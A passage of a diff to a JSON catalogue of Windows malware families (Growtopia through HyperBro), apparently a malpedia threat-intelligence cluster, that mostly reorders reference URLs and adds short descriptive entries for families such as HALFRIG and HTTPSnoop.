}, + { + "description": "According to PCrisk, Growtopia (also known as CyberStealer) is an information stealer written in the C# programming language. It can obtain system information, steal information from various applications, and capture screenshots. Its developer claims that it has created this software for educational purposes only. This stealer uses the name of a legitimate online game.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.growtopia", + "https://github.com/TheC0mpany/GrowtopiaStealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5fb7db86-a510-400c-b7d3-4197eef09755", + "value": "Growtopia" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grunt", - "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", - "https://twitter.com/ItsReallyNick/status/1208141697282117633", - "https://www.telsy.com/download/5776/?uid=aca91e397e", "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", - "https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/" + "https://www.telsy.com/download/5776/?uid=aca91e397e", + "https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/", + "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", + "https://twitter.com/ItsReallyNick/status/1208141697282117633" ], "synonyms": [], "type": [] @@ -27012,9 +28290,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gwisin", + "https://www.skshieldus.com/download/files/download.do?o_fname=%EA%B7%80%EC%8B%A0(Gwisin)%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EA%B3%B5%EA%B2%A9%20%EC%A0%84%EB%9E%B5%20%EB%B6%84%EC%84%9D%20%EB%A6%AC%ED%8F%AC%ED%8A%B8.pdf&r_fname=20220824150111854.pdf", "https://asec.ahnlab.com/en/37483", - "https://asec.ahnlab.com/en/41565/", - "https://www.skshieldus.com/download/files/download.do?o_fname=%EA%B7%80%EC%8B%A0(Gwisin)%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EA%B3%B5%EA%B2%A9%20%EC%A0%84%EB%9E%B5%20%EB%B6%84%EC%84%9D%20%EB%A6%AC%ED%8F%AC%ED%8A%B8.pdf&r_fname=20220824150111854.pdf" + "https://asec.ahnlab.com/en/41565/" ], "synonyms": [], "type": [] @@ -27076,27 +28354,27 @@ "value": "HackSpy" }, { - "description": "Ransomware.", + "description": "According to PCrisk, Hades Locker is an updated version of WildFire Locker ransomware that infiltrates systems and encrypts a variety of data types using AES encryption. Hades Locker appends the names of encrypted files with the \".~HL[5_random_characters] (first 5 characters of encryption password)\" extension.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hades", - "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.accenture.com/us-en/blogs/security/ransomware-hades", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-winter", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://twitter.com/inversecos/status/1381477874046169089?s=20", - "https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", - "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/" + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", + "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://twitter.com/inversecos/status/1381477874046169089?s=20", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "http://www.secureworks.com/research/threat-profiles/gold-winter" ], "synonyms": [], "type": [] @@ -27109,26 +28387,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hakbit", - "https://www.justice.gov/usao-edny/press-release/file/1505981/download", + "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", + "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", + "https://securelist.com/cis-ransomware/104452/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://blog.cyble.com/2021/06/05/prometheus-an-emerging-apt-group-using-thanos-ransomware-to-target-organizations/", + "https://www.sekoia.io/en/the-story-of-a-ransomware-builder-from-thanos-to-spook-and-beyond-part-1/", + "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", "http://id-ransomware.blogspot.com/2019/11/hakbit-ransomware.html", "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants", - "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", - "https://blog.cyble.com/2021/06/05/prometheus-an-emerging-apt-group-using-thanos-ransomware-to-target-organizations/", - "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", - "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0610.pdf", "https://www.carbonblack.com/2020/06/08/tau-threat-analysis-hakbit-ransomware/", + "https://www.seqrite.com/blog/thanos-ransomware-evading-anti-ransomware-protection-with-riplace-tactic/", + "https://unit42.paloaltonetworks.com/thanos-ransomware/", + "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0610.pdf", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://unit42.paloaltonetworks.com/prometheus-ransomware/", - "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/", - "https://www.sekoia.io/en/the-story-of-a-ransomware-builder-from-thanos-to-spook-and-beyond-part-1/", "https://www.carbonblack.com/2020/06/15/tau-threat-analysis-relations-to-hakbit-ransomware/", "https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://securelist.com/cis-ransomware/104452/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.seqrite.com/blog/thanos-ransomware-evading-anti-ransomware-protection-with-riplace-tactic/", - "https://unit42.paloaltonetworks.com/thanos-ransomware/" + "https://www.justice.gov/usao-edny/press-release/file/1505981/download", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "Thanos Ransomware" @@ -27138,13 +28416,26 @@ "uuid": "18617856-c6c4-45f8-995f-4916a1b45b05", "value": "Hakbit" }, + { + "description": "A stager used by APT29 to deploy CobaltStrike.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig", + "https://www.gov.pl/attachment/64193e8d-05e2-4cbf-bb4c-5f58da21fefb" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c89b2d7b-82b7-4329-81d0-ed99be4fad96", + "value": "HALFRIG" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq", - "https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/", "https://www.youtube.com/watch?v=FAFuSO9oAl0", + "https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/", "https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf", "https://www.youtube.com/watch?v=JPvcLLYR0tE" ], @@ -27160,46 +28451,46 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor", "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/", - "https://pid4.io/posts/how_to_write_a_hancitor_extractor/", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/", - "https://elis531989.medium.com/dissecting-and-automating-hancitors-config-extraction-1a6ed85d99b8", - "https://www.malware-traffic-analysis.net/2021/09/29/index.html", - "https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/hancitor-making-use-of-cookies-to-prevent-url-scraping", - "https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak", - "https://inquest.net/blog/2021/04/16/unearthing-hancitor-infrastructure", - "https://isc.sans.edu/diary/rss/27618", - "https://www.uperesia.com/hancitor-packer-demystified", - "https://github.com/OALabs/Lab-Notes/blob/main/Hancitor/hancitor.ipynb", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/", - "https://cyber-anubis.github.io/malware%20analysis/hancitor/", - "https://muha2xmad.github.io/malware-analysis/fullHancitor/", - "https://isc.sans.edu/forums/diary/Hancitor+activity+resumes+after+a+hoilday+break/26980/", - "https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/", - "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", - "https://blog.group-ib.com/hancitor-cuba-ransomware", - "https://muha2xmad.github.io/unpacking/hancitor/", - "https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5", - "https://twitter.com/TheDFIRReport/status/1359669513520873473", - "https://blog.group-ib.com/prometheus-tds", - "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", - "https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html", - "https://malware-traffic-analysis.net/2021/09/29/index.html", - "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/", - "https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/", - "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear", - "https://blog.group-ib.com/switching-side-jobs", - "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", - "https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity", - "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", - "https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/", - "https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/", "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" + "https://isc.sans.edu/diary/rss/27618", + "https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/", + "https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5", + "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", + "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", + "https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/", + "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", + "https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/", + "https://malware-traffic-analysis.net/2021/09/29/index.html", + "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://www.uperesia.com/hancitor-packer-demystified", + "https://blog.group-ib.com/prometheus-tds", + "https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/", + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://cyber-anubis.github.io/malware%20analysis/hancitor/", + "https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/", + "https://muha2xmad.github.io/unpacking/hancitor/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/hancitor-making-use-of-cookies-to-prevent-url-scraping", + "https://pid4.io/posts/how_to_write_a_hancitor_extractor/", + "https://blog.group-ib.com/switching-side-jobs", + "https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/", + "https://www.malware-traffic-analysis.net/2021/09/29/index.html", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", + "https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/", + "https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html", + "https://elis531989.medium.com/dissecting-and-automating-hancitors-config-extraction-1a6ed85d99b8", + "https://muha2xmad.github.io/malware-analysis/fullHancitor/", + "https://inquest.net/blog/2021/04/16/unearthing-hancitor-infrastructure", + "https://isc.sans.edu/forums/diary/Hancitor+activity+resumes+after+a+hoilday+break/26980/", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/", + "https://github.com/OALabs/Lab-Notes/blob/main/Hancitor/hancitor.ipynb", + "https://blog.group-ib.com/hancitor-cuba-ransomware", + "https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader", + "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor" ], "synonyms": [ "Chanitor" @@ -27226,8 +28517,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain", - "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" ], "synonyms": [], "type": [] @@ -27256,8 +28547,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.haron", - "https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/", - "https://medium.com/walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7080b" + "https://medium.com/walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7080b", + "https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/" ], "synonyms": [], "type": [] @@ -27284,10 +28575,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat", "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.f-secure.com/weblog/archives/00002718.html", "https://www.secureworks.com/research/threat-profiles/iron-liberty", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://www.f-secure.com/weblog/archives/00002718.html", "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/" ], "synonyms": [], @@ -27301,11 +28592,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc", - "https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace", - "https://twitter.com/embee_research/status/1579668721777643520?s=20&t=nDJOv1Yf5mQZKCou7qMrhQ", "https://github.com/HavocFramework/Havoc", + "https://4pfsec.com/havoc-c2-first-look/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/embee_research/status/1579668721777643520?s=20&t=nDJOv1Yf5mQZKCou7qMrhQ", "https://www.youtube.com/watch?v=ErPKP4Ms28s", - "https://4pfsec.com/havoc-c2-first-look/" + "https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace", + "https://checkmarx.com/blog/first-known-targeted-oss-supply-chain-attacks-against-the-banking-sector/" ], "synonyms": [ "Havokiz" @@ -27333,27 +28626,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", "https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/", - "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", + "https://www.govcert.ch/blog/analysis-of-an-unusual-hawkeye-sample/", + "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/", "https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - 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"https://www.us-cert.gov/ncas/analysis-reports/ar19-304a", - "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", - "https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045g", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", "https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.computing.co.uk/ctg/news/3074007/lazarus-rises-warning-over-new-hoplight-malware-linked-with-north-korea" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/", + "https://www.computing.co.uk/ctg/news/3074007/lazarus-rises-warning-over-new-hoplight-malware-linked-with-north-korea", + "https://www.us-cert.gov/ncas/analysis-reports/ar19-304a", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045g", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://securelist.com/apt-trends-report-q2-2019/91897/" ], "synonyms": [ "HANGMAN" @@ -28076,9 +29387,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", - "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d" + "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/" ], "synonyms": [], "type": [] @@ -28091,10 +29402,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax", - "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", + "https://securelist.com/lazarus-under-the-hood/77908/", + "https://raw.githubusercontent.com/eric-erki/APT_CyberCriminal_Campagin_Collections/master/2017/2017.05.30.Lazarus_Arisen/Group-IB_Lazarus.pdf", "https://content.fireeye.com/apt/rpt-apt38", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/" + "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", + "https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" ], "synonyms": [], "type": [] @@ -28107,32 +29421,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini", - "https://www.cadosecurity.com/post/threat-group-uses-voice-changing-software-in-espionage-attempt", + "https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/", + "http://blogs.360.cn/post/analysis-of-apt-c-37.html", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://cybersecurity.att.com/blogs/labs-research/alien-labs-2019-analysis-of-threat-groups-molerats-and-apt-c-37", + "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", + "https://isc.sans.edu/forums/diary/Houdini+is+Back+Delivered+Through+a+JavaScript+Dropper/28746/", + "https://blogs.360.cn/post/APT-C-44.html", + "https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/", "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/wsh_rat.md", - "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", + "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", + "https://www.cadosecurity.com/post/threat-group-uses-voice-changing-software-in-espionage-attempt", + "http://blog.morphisec.com/hworm-houdini-aka-njrat", "https://www.youtube.com/watch?v=XDAiS6KBDOs", "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", - 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"https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html" + "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", + "https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html" ], "synonyms": [ "Hworm", @@ -28178,17 +29492,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran", - "https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", - "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://www.secureworks.com/research/htran", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://www.secureworks.com/research/htran", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" ], "synonyms": [ "HUC Packet Transmit Tool" @@ -28203,12 +29517,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser", - 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"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf", + "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787", "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html", - "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf" ], "synonyms": [ "httpdr0pper" @@ -28235,13 +29549,41 @@ "uuid": "78336551-c18e-47ac-8bef-1c0c61c0e0a9", "value": "httpdropper" }, + { + "description": "Cisco Talos states that HTTPSnoop is a simple, yet effective, backdoor that consists of novel techniques to interface with Windows HTTP kernel drivers and devices to listen to incoming requests for specific HTTP(S) URLs and execute that content on the infected endpoint.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsnoop", + "https://blog.talosintelligence.com/introducing-shrouded-snooper/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f585fba9-4a75-4752-bfdd-a0049e4d8d63", + "value": "HTTPSnoop" + }, + { + "description": "The HTTP(S) uploader is a Lazarus tool responsible for data exfiltration, by using the HTTP or HTTPS protocols.\r\n\r\nIt accepts up to 10 command line parameters: a 29-byte decryption key, a C&C for data exfiltration, the name of a local RAR split volume, the name of the multivolume archive on the server side, the size of a RAR split (max 200,000 kB), the starting index of a split, the ending index of a split, and the switch -p with a proxy IP address and port", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", + "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", + "https://securelist.com/lazarus-threatneedle/100803/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "50723d62-ecf2-49de-9ce2-911045ae63f0", + "value": "HTTP(S) uploader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy", - "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf", - "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html" + "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html", + "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf" ], "synonyms": [], "type": [] @@ -28254,9 +29596,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", - "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html" + "https://www.sentinelone.com/labs/chinese-entanglement-dll-hijacking-in-the-asian-gambling-sector/", + "https://medium.com/@morimolymoly/hui-loader-malware-analysis-note-4fa0e1c791d3", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf" ], "synonyms": [], "type": [] @@ -28338,33 +29682,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro", - 